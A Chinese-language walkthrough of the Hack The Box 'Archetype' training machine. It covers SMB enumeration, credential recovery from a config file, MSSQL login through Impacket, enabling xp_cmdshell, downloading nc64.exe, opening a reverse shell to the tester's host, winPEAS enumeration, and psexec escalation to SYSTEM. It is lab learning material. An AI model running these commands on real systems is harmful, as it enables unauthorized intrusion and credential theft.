Hack The Box Starting Point 渗透测试入门靶场 TIER 2 - Archetype

image.png
先对SPAWN的机器扫描一下,nmap -sC -sV IP
扫描出了135,139,445,1433端口及具体信息。
image.png

TASK 1,数据库服务在哪个TCP端口?根据nmap的扫描结果,Microsoft SQL Server 2017服务运行在1433端口。
image.png

TASK 2,SMB上可用的非管理共享的名称是什么?backups
image.png
我们使用smbclient查看一下目标主机上可用的共享
smbclient -N -L IP(-N:不需要密码,-L:获取主机上可用的共享列表)
image.png
这里我们发现除了ADMIN$C$IPC$之外,还有一个backups,尝试空密码连接。
smbclient \\\\IP\\backupssmbclient -N \\\\IP\\backups
image.png
所以这里的非管理共享是backups

TASK 3,SMB共享文件中标识的密码是什么?
image.png
ls,查看当前目录下的文件
get prod.dtsConfig,下载文件到本地
image.png
exit,退出
cat prod.dtsConfig,查看文件内容
image.png
看到User ID=ARCHETYPE\sql_svc,Password=M3g4c0rp123

TASK 4,可以使用 Impacket 集合中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接?mssqlclient.py
image.png
首先了解一下什么是Impacket:
Impacket 是用于处理网络协议的 Python 类的集合。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,面向对象的 API 使得处理深度协议层次结构变得简单。 该库提供了一组工具作为可以在该库的上下文中完成的操作的示例。
下载地址:https://github.com/SecureAuthCorp/impacket

Impacket工具包里有一个python脚本mssqlclient.py可以连接到服务器并进行身份验证。我们使用backups里获得的账号密码连接到服务器。
python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth
image.png
进入SQL命令行,我们首先输入help查看支持的命令有哪些。
image.png
检查我们在该服务器中的身份,判断我们是不是sysadmin,输出是1即True。
select is_srvrolemember('sysadmin');
image.png

TASK 5,可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令行?
image.png
从上面的help返回结果可以发现,我们可以使用xp_cmdshell这个存储过程。
我们先测试一下xp_cmdshell是否开启。
exec xp_cmdshell "whoami";
这里显示xp_cmdshell已经被turned off。
image.png
我们使用sp_configure重新开启xp_cmdshell
exec sp_configure "show advanced options",1;
reconfigure;
exec sp_configure "xp_cmdshell",1;
reconfigure;
image.png
再次执行exec xp_cmdshell "whoami";成功
image.png
在本机作准备,开启HTTP SERVER,并使用nc等待目标机回连。
在下载的nc目录下开启http server:sudo python3 -m http.server 80
image.png
监听1234端口:nc -lvvp 1234
image.png
为了在目标系统中上传二进制文件,我们需要找到合适的文件夹。通过xp_cmdshell执行powershell命令。-c:执行命令;pwd:当前目录。
xp_cmdshell "powershell -c pwd"; 可以看到当前目录
image.png
作为ARCHETYPE/sql_svc用户,我们不一定有足够的权限能够将文件上传到系统目录中,甚至更高权限的操作。因此我们需要将我们当前的目录改成我们有一定权限的地方,比如我们用户的主目录。
cd 进入C:\Users\sql_svc\Downloads目录下,然后使用wget命令下载我们http server上的nc64.exe。
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.47/nc64.exe -outfile nc64.exe"
nc64.exe下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe
执行后,我们可以在python搭建的http server里看到记录,显示已经被该IP下载了。
image.png
然后使用nc的-e指令,连接到我们机器的1234端口
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; ./nc64.exe -e cmd.exe IP 1234"
image.png
一般的flag可能都会存放在目标主机的桌面,我们先进入该用户的Desktop下通过dir命令查看当前目录下内容
type user.txt 打印user.txt,得到user flag。
image.png
net user,发现sql_svc与Administrator不在一组,要进行提权
image.png

TASK 6,使用什么脚本来搜索可能提升 Windows 主机权限的方法?winPEAS工具
image.png
根据TASK 6的Hint,我们发现有一款工具叫做winPEAS,
下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe

在反弹回的shell里,使用powershell下载我们本机HTTP SERVER下的winPEAS,自动化枚举目标系统的信息。
image.png
然后直接运行winPEASx64.exe等待扫描结果。
从输出中观察到Current Token privileges有SeImpersonatePrivilege,容易受到 juicy potato 的攻击。首先检查可以找到凭据的两个现有文件。
image.png

由于这是一个普通用户帐户以及服务帐户,因此值得检查频繁访问的文件或执行的命令。在检查结果中,发现在PowerShell Settings中,有PS的历史记录文件ConsoleHost_history.txt,它相当于 Linux 系统的.bash_historyConsoleHost_history.txt位于目录C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
image.png

TASK 7,哪个文件包含了管理员的密码?通过winPEAS检索到了powershell 历史文件ConsoleHost_history.txt
image.png
cd C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
type ConsoleHost_history.txt
在这里我们得到了user为administrator(管理员),密码MEGACORP_4dm1n!!
image.png
既然知道了管理员的用户名和密码,那么我们可以使用Impcaket工具包里的脚本psexec.py来横向,拿到administrator的shell。
python3 psexec.py administrator@10.129.171.111
然后输入administrator的密码,返回了一个system权限的shell
image.png
一般来说,flag一般存放在用户的desktop目录下,我们进入该目录发现root.txt,
打印该文件type root.txt得到flag
image.png

最后提交两个flag。
image.png
image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值